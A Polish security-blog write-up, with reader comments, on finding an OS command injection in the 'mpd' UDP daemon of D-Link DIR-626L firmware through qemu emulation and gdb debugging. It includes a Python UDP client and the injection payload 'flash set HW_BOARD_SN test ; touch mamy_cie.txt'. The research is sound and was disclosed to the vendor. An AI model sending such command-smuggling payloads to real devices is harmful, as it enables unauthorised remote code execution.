-15% na nową książkę sekuraka: Wprowadzenie do bezpieczeństwa IT. Przy zamówieniu podaj kod: 10000

Warsztat – Jak zrealizować OS Command Execution na D-Link 626L…nie posiadając samego urządzenia?

02 stycznia 2014, 16:19 | Narzędzia, Teksty | komentarzy 19
Od redakcji: publikujemy badanie naszego czytelnika, które dotyczy pewnej wcześniej niepublikowanej podatności na urządzeniach D-Link. Całość pokazana ze szczegółami – łącznie z tak istotną rzeczą jak uruchomienie wyciągniętej z firmware binarki na emulatorze i debugowanie jej w takim właśnie środowisku.

Wstęp

Urządzenia takie jak routery czy kamery IP dają ogromną satysfakcję, kiedy odkrywamy, jak działają. Jeszcze większą radość sprawia odkrywanie, jak możemy się do nich dostać w, no właśnie…, nieprzewidziany przez twórców oprogramowania sposób. :)

Oto jak można znaleźć furtkę w firmware D-Linka DIR 626L (DIR626LA1_FW103B01.bin), która wpuści nas „do środka”.

Przypominamy że publikowane tutaj informacje o lukach służą tylko celom edukacyjnym. Nie odpowiadamy również za ewentualne uszkodzenie urządzenia w wyniku wykorzystania luki.

Monitorując doniesienia o bezpieczeństwie urządzeń, możemy zauważyć, że część wykrytych podatności zostało znalezionych w usługach szerzej nam znanych typu: serwery http, ftp itp. Nie możemy jednak zapominać o innych usługach, które mogą działać tylko dla pewnej gamy urządzeń, bądź też pojedynczego routera lub które z jakiegoś innego powodu są zaimplementowane w badane przez nas oprogramowanie.

D-Link 626L kryje za sobą pewne niespodzianki. Jedną z nich chciałbym przedstawić w tym artykule.

 

Jeszcze chwilka

Przed rozpoczęciem przygody musimy zapoznać się z „warsztatem”, jaki potrzebny będzie do testów. Znajomość różnych technik analizy aplikacji pozwala zbadać ją bardziej dogłębnie pod kątem działania, a także daje nam więcej radości z takich poszukiwań. Poniżej składniki niezbędnego warsztatu:

  • qemu,
  • system operacyjny dla architektury, którą wykorzystuje badana aplikacja; w naszym przypadku będzie to debian dla architektury mipsel,
  • gdb,
  • trochę Pythona też się przyda oraz doświadczenie z programowaniem i sieciami,
  • firmware-mod-kit – zbiór skryptów do rozpakowywania wszelkiego rodzaju firmware’ów,
  • Binwalk – nie używany w artykule, jednak umieszczam go tutaj ponieważ tak jak firmware-mod-kit jest równie przydatny (wspomnę o nim jeszcze później).

Teraz omówimy sobie każdy z wymienionych elementów.

Zacznijmy od instalacji wymaganych pakietów. Zakładając, że robimy wszystkie testy na systemie Ubuntu (mój jest 13.04), możemy to zrobić w taki sposób:

# apt-get install autoconf automake libtool zlib1g-dev libglib2.0-dev uml-utilities bridge-utils

1. Najpierw instalacja qemu. Będzie potrzebne do emulacji systemu operacyjnego, na którym uruchomimy badany soft. Emulacja systemu operacyjnego, a następnie uruchomienie na nim aplikacji do analizy, pozwoli zbliżyć się do jej realnego działania. Okej. Paczka się już napewno ściągnęła, więc rozpakujmy i skompilujmy ją sobie:

$ ./configure --static && make && sudo make install

2. Kolejnym krokiem będzie konfiguracja interfejsu sieciowego oraz grupy w taki sposób, aby emulowany system operacyjny poprzez qemu miał dostęp do naszej sieci i tym samym do Internetu. (Tu chciałbym polecić do przeczytania super post pana Cultipa, mówiący szerzej o omawianym zagadnieniu.) Tak więc konfigurujemy grupę:

# groupadd -r tuntap
# usermod -a -G tuntap hawk

I wraz z grupą interfejs sieciowy. W przypadku systemu Ubuntu będzie to plik /etc/network/interfaces. Mój plik konfiguracyjny wygląda tak:

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

# auto br0
iface br0 inet dhcp
    pre-up tunctl -t tap0 -g tuntap
    pre-up tunctl -t tap1 -g tuntap
    pre-up ip link set tap0 up
    pre-up ip link set tap1 up
    bridge_ports eth0 tap0 tap1
    bridge_stp off
    bridge_maxwait 0
    bridge_fd 0
    post-down ip link set tap0 down
    post-down ip link set tap1 down
    post-down tunctl -d tap0
    post-down tunctl -d tap1

3. Nadszedł już czas, by to wszystko wprawić w ruch. Ściągamy dwa pliki: vmlinux-2.6.32-5-4kc-malta oraz debian_squeeze_mipsel_standard.qcow2. Potrzebny będzie nam teraz skrypt uruchamiający qemu, które odpali przed chwilą ściągniętego debiana.

#!/bin/sh

image="/home/hawk/routers_research/debian-mipsel/debian_squeeze_mipsel_standard.qcow2"
kernel="/home/hawk/routers_research/debian-mipsel/vmlinux-2.6.32-5-4kc-malta"

echo "[+] Start debian mipsel.."

qemu-system-mipsel -net nic -net tap,ifname=tap1,script=no,downscript=no -nographic -M malta -m 256 -kernel $kernel -hda $image -append "root=/dev/sda1 console=tty0"

Powyższy kod zapisujemy jako skrypt. Niech jego nazwą będzie emulator.sh. Ustawiamy „most” pomiędzy naszą siecią a emulowanym debianem.

sudo ifdown eth0
sudo ifup br0

W końcu rozpoczynamy emulacje naszego debiana!

chmod +x emulator.sh
./emulator.sh

Ekstra! W ten sposób przygotowaliśmy dodatkowy system do testów.

4. Możemy się zalogować jako użytkownik (login: user, hasło: user) lub jako administrator (login: root, hasło: root). Okej. Należałoby jeszcze sprawdzić dla pewności połączenie z Internetem.

ping google.pl

5. Jeśli wszystko jest w porządku i mamy połączenie z Internetem, zostaje nam tylko doinstalować serwer sshd, aby można było logować się zdalnie. To ułatwi nam pracę.

apt-get install openssh-server

 

Podsumujmy, co zrobiliśmy: Zainstalowaliśmy pakiety wymagane do instalacji qemu. Skompilowalismy qemu. Dodaliśmy dodatkowy interfejs, aby emulowany system miał dostęp do naszej sieci i tym samym do Internetu. Ściągnęliśmy obraz debiana dla architektury mipsel oraz napisaliśmy skrypt, który uruchamia jego emulację. Doinstalowaliśmy jeszcze serwer sshd na nowo uruchomionym debianie.

 

Szukamy

Teraz powróćmy do badanego firmware.

1. Spróbujemy go rozpakować – posłuży nam do tego firmware-mod-kit.

Przy okazji chciałbym polecić program Binwalk. Także potrafi rozpakowywać badane firmware’y, ale nie tylko. Wspomaga też procesy inżynierii wstecznej i analizę badanych obrazów. Ostatnio dodano też moduł odpowiadający za wizualizację 3D.
dlink1

Rozpakowanie badanego przez nas firmware przy pomocy firmware-mod-kit.

2. Dobra. Czas rozpocząć poszukiwania od sprawdzenia konfiguracji badanego firmware’a. Zobaczmy, co kryją pliki konfiguracyjne. W katalogu /etc_ro/ widać plik rcS. Co się w nim znajduje?

dlink2

Poleceniem „cat /etc_ro/rcS” przeglądamy zawartość pliku rcS.

Plik rcS zawiera dużo użytecznych informacji przydatnych w naszych badaniach.

3. Plik pod nazwą mp.sh może być interesujący! Zobaczmy, gdzie leży i co zawiera. Przyda się do tego polecenie: find -depth -name mp.sh.

dlink3

Znaleziony skrypt „sbin/mp.sh”, w którym możemy zobaczyć informacje o serwerze „mpd”.

Wygląda na to, że to jakiś daemon, pewnie nasłuchujący niewiadomych dla nas poleceń.

No to go odpalmy! Ale zaraz… Sprawdźmy najpierw, co to za plik.

4. Polecenie file sbin/mpd pozwala stwierdzić, że ów program używa architektury mips do poprawnego działania (dokładniej mipsel tzn. mips w trybie little-endian). Spróbujmy więc skopiować go na przygotowaną przez nas maszynę do testów i go odpalić.

scp mpd root@192.168.1.104:~/

W moim przypadku adres 192.168.1.104 jest adresem emulowanego systemu do testów. Po skopiowaniu spróbujmy uruchomić nasz serwer w konsoli.

Tutaj mała uwaga. Jeśli nie będzie mu się chciało uruchomić z powodu błędów związanych z brakiem niektórych bibliotek, to należy wskazane biblioteki skopiować z katalogu „/lib” rozpakowanego firmware do katalogu /lib emulowanego systemu (jak to zrobiliśmy z mpd).

./mpd

5. Świetnie! Usługa mpd czymkolwiek jest, została uruchomiona. Pokazała nam nawet swój banner MP AUTOMATION daemon (ver 0.1).

6. Pozostaje nam sprawdzić, jak można się z nią komunikować. Możemy do tego użyć programu „strace” i wywołać raz jeszcze nasz deamon poleceniem: sudo strace ./mpd. Jest to jeden ze sposobów na poradzenie sobie w takiej sytuacji.

Uruchomienie serwera "mpd" przy pomocy programu "strace" poleceniem: strace ./mpd.

Uruchomienie serwera „mpd” przy pomocy programu „strace” poleceniem: strace ./mpd.

Wygląda, że coś mamy! Na samym końcu widnieje informacja dotycząca protokołu, jakiego używa badany deamon („socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) „) oraz jego portu („sin_port=htons(9034)”).

7. Żeby się przekonać, przeskanujmy emulowaną maszynę programem nmap.

Skan emulowanego debiana z uruchomionym programem "mpd".

Skan emulowanego debiana z uruchomionym programem „mpd”.

Hura! Na tym etapie możemy stwierdzić, że odkryliśmy i uruchomiliśmy do testów pewien deamon, który nasłuchuje na danym porcie i czeka na bliżej nam nieznane instrukcje.

8. Uruchomimy go ponownie, ale już z pomocą debuggera. W naszym przykładzie posłużymy się debugerem, wcześniej już wspomnianym: gdb. Ale jak?

Krótki manual pokazuje, jak to zrobić. Otwórzmy dwie konsole i zalogujmy się na emulowany system. W pierwszej zostanie odpalony gdbserver (zalogowany na emulowanego debiana – pierwsza konsola):

gdbserver localhost:4444 mpd

Czeka on teraz na połączenie z debugger-klientem (zalogowany na emulowanego debiana – druga konsola). Oto on:

gdb program				# odpalamy gdb
(gdb) target remote localhost:4444	# łączymy się ze zdalnie uruchimionym gdbserver
...
(gdb) break main			# ustawiamy punkt zatrzymania programu na funkcji main

Teraz zastanówmy się przez chwilę i odpowiedzmy sobie na pytanie, dlaczego właśnie w taki sposób debugujemy program?

Jest to dobry sposób na aplikacje, które po uruchomieniu „oczekują” na jakieś zdarzenia, uniemożliwiając testerowi np. na ustawienie breakpointa czy odczytanie wartości z rejestru.

A może oprócz tej metody, którą przedstawiłem, są jeszcze jakieś inne? Lepsze? Prostsze? Bardzo zachęcam do komentowania i dzielenia się informacjami. :)

9. Pozostało tylko napisać skrypt w Pythonie, który pozwoli wysyłać pakiety z danymi do mpd i analizować, co się dalej dzieje.

from socket import *
import sys
import select
import sys, getopt

address = ('192.168.1.104', 9034)
client_socket = socket(AF_INET, SOCK_DGRAM)

# chwilowo pusta
buffer = ""

client_socket.sendto(buffer, address)

recv_data, addr = client_socket.recvfrom(2048)

print "Received data: ", recv_data

Zmienną „buffer” na razie pozostawiamy pustą, aby później aktualizować ją o tajemnicze, znalezione podczas debugu instrukcje.

 

Analizujemy

1. Nadszedł czas na statyczną analizę, którą zaczniemy od wyżej wspomnianej funkcji main. Po otrzymaniu pakietu jednym z zadań daemona jest sprawdzenie, czy zapytanie, które zostało przesłane do mpd, zawiera frazę flash set. Pójdźmy tym tropem i zacznijmy modelować taki pakiet do wysłania. Obrazek poniżej pokazuje, że adres a1 faktycznie zawiera wartość flash set, która jest sprawdzana w przysłanych danych. Wzbogaćmy zmienną buffer o znalezioną wartość:

buffer="flash set"

2. Zapis i uruchomienie skryptu (python skrypt.py) pozwoli nam uzyskać informacje od debuggera klienta przedstawione na poniższym obrazku.

Konsola z uruchomionym klientem gdb ( (gdb) target remote localhost:4444 ) oraz ustawiony punkt zatrzymania.

Konsola z uruchomionym klientem gdb ( (gdb) target remote localhost:4444 ) oraz ustawiony punkt zatrzymania.

3. Badając poniższy kod, natykamy się na funkcję sprawdzającą, czy dane odebrane przez serwer zawierają oprócz flash set jakąś inną wartość. Jeśli więc kolejną wartością będzie HW_NIC1_ADDR, to algorytm zacznie poszukiwania dalszych danych, zmierzając w interesującym dla nas kierunku.

Konsola z uruchomionym klientem gdb. Pokazany algorytm przetwarza wysłane przez nas dane skryptem napisanym w pythonie.

Konsola z uruchomionym klientem gdb. Pokazany algorytm przetwarza wysłane przez nas dane skryptem napisanym w pythonie.

Czy oprócz „flash set” serwer „mpd” odebrał jeszcze jakieś polecenie?

Uruchomiony klient gdb. Rejestr "a1" zawiera przesłany przez nas string "HW_NIC1_ADDR".

Uruchomiony klient gdb. Rejestr „a1” zawiera przesłany przez nas string „HW_NIC1_ADDR”.

4. Okej. To teraz, wyprzedzając trochę fakty oraz analizę dalszego kodu, dodajmy do naszego pakietu jeszcze jeden, taki nietypowy czwarty parametr: test ; touch mamy_cie.txt i zobaczmy, co się stanie.

Rejestr "a0" zawiera parametr funkcji "system".

Rejestr „a0” zawiera parametr funkcji „system”.

Po przesłaniu pakietu skryptem w pythonie funkcja ta spróbuje uruchomić skrypt eth.sh z parametrami…, a po średniku nasze polecenie. :)5. Analizując dalej kod, rzeczywiście dochodzimy do funkcji „system”, która faktycznie jest wykonywana w kolejnych etapach algorytmu, a jej parametrem mieszczącym się w rejestrze $a0 jest eth.sh sn -w test ; touch mamy_cie.txt!

Super! Wygląda na to, że się wkradliśmy! :)

 

Wchodzimy

Podsumowując, jeśli wypełnimy zmienną „buffer” wartością „flash set HW_BOARD_SN test ; touch mamy_cie.txt” oraz uruchomimy „skrypt.py”, na atakowanej maszynie zostanie zdalnie wykonany kod umieszczony w zmiennej po średniku.

Odkrycia tego typu mobilizują poszukiwacza do dogłębnej analizy nie tylko pewnych standardowych działających usług, jak httpd, ftpd itp., o czym wspomniałem na wstępie, ale także do poszukiwania innych celów ataku, którymi mogą stać się niewinnie działające usługi, na pierwszy rzut oka niezauważalne.

Zaglądanie pod kamień kryjący wszelkiego rodzaju konfiguracje (a to jest bardzo istotny wektor badań!) nie zawsze, ale czasami prowadzi właśnie do opisanych wyżej wyników.

dlink13

Odpalony serwer „mpd” odbiera pakiet „flash set HW_BOARD_SN test ; touch mamy_cie.txt”. Udało się!

 

Od producenta

Podatność została przez mnie zgłoszona oraz potwierdzona przez zespół D-Linka. Niestety, jak się dowiedziałem później, testowany serwer mpd nie jest uruchamiany podczas startu routera.

Nie mogę tego jednak potwierdzić, gdyż nie posiadam fizycznego dostępu do badanego urządzenia.

A na deser, dla dociekliwych, dwa pytania.

1. Co się stanie, jeśli wyślemy do mpd string default?
2. W katalogu /etc_ro/ znajduje się intrygujący plik mini_httpd.pem. Do czego on może służyć?

Myślę, że w analizowanym firmware (także w deamonie mpd) istnieje jeszcze parę innych, nieodkrytych luk.

Zachęcam do poszukiwań, własnych badań oraz do spojrzenia na wcześniejszy research, który był po raz pierwszy publikowany na sekuraku:

 —Mateusz Wójcik

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. pecetq

    Elegancko, wreszcie ktoś ładnie opisał warsztat!

    Odpowiedz
  2. lechu

    Naprawde dobrze napisane!
    dzieki i najlepszego na nowy rok.

    Odpowiedz
  3. Marek

    Super. Co prawda rozumiałem co drugie zdanie (z mojej własnej winy ;) ), nie mniej jednak doceniam efekt. Dobra robota!

    Odpowiedz
  4. m

    Brawo, i gratuluję to się nazywa fach!!!!. Pozdrawiam

    Odpowiedz
  5. dariusz

    Świetne wprowadzanie w temat. Dzięki.

    Odpowiedz
  6. Super że się podoba :) To jeszcze podeślijcie tekst znajomym ;)

    Odpowiedz
  7. Chyba wizualizacja 3D, nie wirtualizacja :P

    Odpowiedz
  8. Mateusz

    @all
    Dzięki za odbiór, chciałbym w przyszłości napisać coś jeszcze o routerach :)

    @GDR!
    Thx za uważne czytanie tekstu ;] Oczywiście, chodziło o „wizualizację 3D”. Fajny ficzer :P

    Odpowiedz
  9. Darek

    Świetny artykuł, gratulacje dla autora!

    Sam ostatnio dużo grzebię w fw DIR-600, a ten artykuł daje dużo ciekawych informacji do sprawdzenia na moim routerze :)

    Odpowiedz
  10. Alex

    Aż chce się odpalić jakiś debugger i pobawić się.. :)

    Odpowiedz
  11. @sekurak
    Jak tam postęp w robieniu Q&A ?

    Odpowiedz
  12. holo

    Wszystko fajnie wytlumaczone i opisane zrozumialem metodologie ale nie wiem czy zostalo to pominiete czy przeoczylem ale dlaczego breakpointy akurat w tych miejscach a nie innych?

    Odpowiedz
  13. Co do debugowania z gdbserverem – komentarz ;-) jeżeli podczas działania programu (daemon’a) w „zwykłym” gdb naciśniesz crtl+c – uzyskasz dostęp do debugera i będziesz mógł sobie ustawić breakpointy gdzie Ci się podoba. Można też skorzystać z parametru –pid i dołączyć do gdb już działający proces (zostanie na chwile „wstrzymany”, odpalasz normalnie komendą 'continue’). To samo tyczy się zresztą strace. :) Chyba, że chciałeś osiągnąć coś zupełnie innego, a ja nie zrozumiałem – to przepraszam.

    Poza tym – zajebista robota, fajny bug, keep researchin’ człowieku :)

    Odpowiedz
  14. Mateusz

    @holo
    Thx za komentarz i uważne czytanie :) Trafne spostrzeżenie. Chciałem jedynie zwrócić uwagę na istotne punkty w badanej binarce. Stwierdziłem (może błędnie), że gdybym pisał jak dochodziłem do tych punktów, na których zatrzymałem „gdb”, to art by się niemiłosiernie wydłużył :) ALE racja. Przydałby się jakiś tekst mówiący głębiej jak się zabierać do reverse engineeringu podobnych binarek.

    @ZoczuS
    Ekstra! Muszę to sprawdzić ale wydaje mi się, że chciałem osiągnąć to samo co Ty czyli uzyskać dostęp do debugera po odpaleniu daemona, który zaczyna nasłuchiwać, tylko że jak to czasem bywa, robiłem to „na około” ;) Bardzo mi miło, dziękuję :)

    Dobrą alternatywą dla klienta gdb jest debuger IDA. Kod jest tam ładnie „graficznie” przedstawiony. Jedynym minusem jest to, że IDA w wersji bezpłatnej (z tego co wiem) nie obsługuje między innymi architektury MIPS.

    Odpowiedz
  15. holo

    @Mateusz

    Dzieki za odpowiedz. Probowalem kilka razy podchodzic do tematu inzynierii wstecznej ale jednak mnie to przeroslo a jest to mysle naprawde bardzo ciekawy temat ale do najlatwiejszych niestety nie nalezy. Oprocz breakpointow tak samo nie jest dla mnie jasne dlaczego sprawdziles akurat ten rejestr a nie inny, skad wiedziales, ze zawartosc tego rejestru to akurat wskaznik do stringa.. – pewnie wynikalo to z kodu ale jak do tego dojsc? Mam nadzieje, ze taki artykul / cykl artykulow sie pojawi i bede czekal na niego z niecerpliwoscia.

    Odpowiedz
  16. Ekstra wpis!

    Odpowiedz
  17. Mateuszu – inny plus skorzystania z takiego rozwiązania – PEDA ;-) z gdbserver’em mi niestety nie zadziałała, a niesamowicie ułatwia prace. Spróbuj sam!

    http://ropshell.com/peda/

    Polecam. :)

    Odpowiedz
  18. ca1ek

    Fajny artykuł, ale zrobiłeś błąd w „pod kontem działania”

    Odpowiedz

Odpowiedz na holo